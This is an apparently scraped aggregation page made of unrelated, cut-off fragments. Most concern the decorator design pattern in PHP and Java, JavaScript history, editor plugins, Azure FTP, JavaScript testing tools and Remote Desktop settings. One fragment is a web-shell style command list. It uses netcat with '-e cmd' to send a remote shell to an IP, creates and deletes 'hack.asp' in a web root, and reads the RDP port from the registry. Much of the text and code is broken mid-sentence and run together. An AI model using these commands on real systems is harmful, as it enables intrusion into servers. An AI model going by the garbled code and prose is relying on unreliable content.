static function main() { $remote = new SimpleRemoteControl(); $light = new Light(); $lightOn = new LightOnCommand($light); $remote->setCommand($lightOn); $remote->buttonWasPressed(); } } RemoteControlTest::main(); ?>
Decoration mode
The code is as follows:
Description;} public abstract function cost ();} abstract class CondimentDecorator extends Beverage {// This is an abstract class in JAVA code. PHP does not allow public function getDescription () {return $ this-> description;} class Espres
("---------"); Car flySwimCar = new FlyCarDecorator(swimcar); flySwimCar.show(); }}
Run the command to obtain the following results:
Can run --------- can run can swim can fly4. Thanks to the knowledge sources and summary
I. What is the abstract factory mode of the decoration mode?
Ii. Structural roles and responsibilities of the decoration Model
3. decoration mode implementation
From: java Design Mode
If the above article or link is helpful to you, don't forget to click
" scripting language, which he can still look for if it is complete or graceful on the type system.JavaScript's most important concept of "constructor-prototype inheritance" is proposed in the JavaScript version 1.1, where type systems and important functional language features are not added until v1.2. Now, at the end of January 1996, JavaScript 1.0 was released with the Netscape2.0 official version.The name of JavaScript============To get a sense of the evolution of JavaScript names and langua
: Provides a useful collection of JavaScript code fragments. (this link is not open.)
Atom JavaScript Snippet: A JavaScript plugin that is ported from Atom.
JavaScript Snippets: Provides a collection of ES6 code fragments. It includes support for other BBD (Behavior-driven development) test frameworks such as Mocha, Jasmine, and so on.
2. Syntax Highlighting plugin
VS code comes with good syntax highlighting for JavaScript code. You can chang
Echo ^
Md hack create hack folderLocal nc-vv-p-l PortServer nc path-e cmd path ip PortRd hack Delete the hack folderType d: \ wwwroot \ hack. aspDel d: \ wwwroot \ hack. asp Delete hack. aspDir c: \ view all folders and file information in the c root directoryTree e: \ Display the directory Tree of the edisk FileReg query "HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ Terminal Server \ WinStations \ RDP-Tcp"/v portnumberCheck whether th
Using the new windows azure 1.3 SDK and the RDP support, you can create your own ftp server in the cloud within less than 30 minutes! Here is a little guide how to do so:
The three major steps are to open the necessary FTP ports to the virtual server, enable RDP on the virtual server and configure the FTP server role on the virtual server.
Download and install the Windows azure 1.3 SDK
Create a new windo
In the previous article, I talked about some of the current situation and fantasies about thin clients. Next, we will explore the possibility of implementing this technology. To achieve thin clients, the most important thing is to select a communication method that both the client and the server can understand. This communication method is the communication protocol or remote transmission protocol.
This article does not discuss private and undisclosed transfer protocols developed by companies
Beverage to meet the condition that the decorator and the object to be decorated have the same super type.
Let's take coffee concentrate as an example.
Public class Espresso extends Beverage {// inherits from Beverage because Espresso is a Beverage public Espresso () {// TODO Auto-generated constructor stub description = "Espresso "; // set the beverage description. The constructor is used here, or you can use the setter method. } @ Override public double cost () {// TODO Auto-generated method
abstract string getdescription ();}
Now let's construct some drinks (Decorated)
Public class espresso extends beverage {Public espresso (){Description = "Espresso"; // This variable is inherited }Public double cost (){Return 1.99;}}
Public class houseblend extends beverage {Public houseblend (){Description = "house blend coffee ";}Public double cost (){Return. 89;}}
Then we construct a specificDecoratorFor example, mocha class that represents Moka:
/node_modules/nmm/index.js/USERS/SANG/.NVM/V0.10.38/LIB/NODE_MODULES/NMM-/USERS/SANG/WORKSPACE/MOA/NMM How can I confirm that it is a soft connection? ? nmm git:(master) ls -alt /Users/sang/.nvm/v0.10.38/bin/nmmlrwxr-xr-x 1 sang staff 32 Jul 7 15:38 /Users/sang/.nvm/v0.10.38/bin/nmm -> ../lib/node_modules/nmm/index.js The Common Start,testGenerally I like to rewrite the start and test commands, such as "scripts": { "start": "nodemon ./bin/www", "test": "
avalon1.6 developed almost, this time using advanced development concepts for development, such as modular, unit testing what ...UI testing is an important link before using Ali's Totoro, but opening the browser is inconvenient. So from Webdrieverio, Nightwatch, always find karma!Karma's official website is particularly rotten, I've been doing it for a long time to run.The NPM modules used are:Karmakarma-mochakarma-mocha-reporterkarma-firefox-launcher
Decorator mode in Android design mode and android Design Mode
Decorator mode definition: dynamically attaches responsibility to objects. To expand the functionality, the decorator provides an alternative solution that is more flexible than inheritance.
Design Principle: classes should be open to extensions and closed to modifications
In Java, IO classes use the decoration all mode.
Code: http://download.csdn.net/detail/deng0zhaotai/7964311
Decorator mode example in Design Mode
The Deco
If you are planning a new front-end project or refactoring an existing project, you need to realize that the current front-end development environment is not the same, there are too many options: React, Flux, Angular, Aurelia, Mocha, Jasmine, Babel, TypeScript, Flow ... Their intention is to simplify the development, but virtually improve the cost of learning, but also to the maintenance of future projects has brought uncertainty.Fortunately, this phe
;}public abstract double cost();}
A mixed coffee:
public class HousBlend extends Beverage{public HousBlend() {description = "HousBlend Cofee";}@Overridepublic double cost() {return 10;}}
Abstract class of coffee seasoning:
public abstract class CondimentDecorator extends Beverage{public abstract String getDescription();}
The specific seasoning will be wrapped in the modifier as a member variable in the constructor:
public class Mocha extends Cond
tools such as Jshint, handlebars, Coffeescript, UGLIFYJS, Mocha, and so on. The corresponding Package.json file is as follows. "devdependencies": { "Coffee-script" : "~1.9.1", "handlebars": "~3.0.0", "Jshint": "^2.6.3", "Mocha": "~2.2.1", "Uglify-js": "~2.4.17" } Let's see how the Make command completes these build tasks.
Iii. General configuration of MakefileBefore you start building, w
1.error:cannot Resolve path (or pattern) ' macaca-test 'This is because the use case directory is not entered when the Run command is executedC:\users\tony\node_modules>Macaca run>>Webdriver SDK launched>> C:\Users\Tony\AppData\Roaming\npm\node_modules\macaca-cli\node_modules\.2.4.5@mocha \lib\utils.js:628 Throw NewError ("cannot resolve path (or pattern) '"+ Path +"'"); ^error:cannot Resolve path (or pattern)'macaca-test'At object.lookupfiles
Computer---Properties---remote settings---Check "Allow computers running any version of Remote Desktop to connect (less secure)" ... First step: Turn on Remote Desktop:Computer---Properties---remote settings---Check "Allow computers running any version of Remote Desktop to connect (less secure)" Step Two: Set the maximum number of Remote Desktop connectionsControl Panel--Manage Tools--Remote Desktop services--Remote Desktop Session Host settings--Remove the "restrict each user to only one sess
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